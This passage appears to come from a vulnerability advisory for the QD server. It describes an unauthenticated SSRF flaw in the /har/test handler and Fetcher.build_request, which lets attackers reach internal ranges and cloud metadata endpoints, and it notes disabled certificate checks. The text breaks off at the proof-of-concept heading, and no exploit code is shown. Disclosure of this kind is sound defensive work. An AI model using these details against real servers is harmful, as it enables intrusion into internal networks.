The Fetcher.build_request() method in libs/fetcher.py constructs an httpclient.HTTPRequest from user-supplied JSON without validating the URL scheme, host, or IP address range. The /har/test handler (web/handlers/har.py) does not require authentication (@authenticated is absent), enabling unauthenticated remote attackers to force the QD server to send arbitrary HTTP requests to internal network resources (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16), cloud metadata endpoints, or other internal services reachable from the server. The validate_cert flag is also set to False, disabling TLS certificate verification for HTTPS targets.\n\n[PROOF OF CONCEPT]\n\n=== 1.
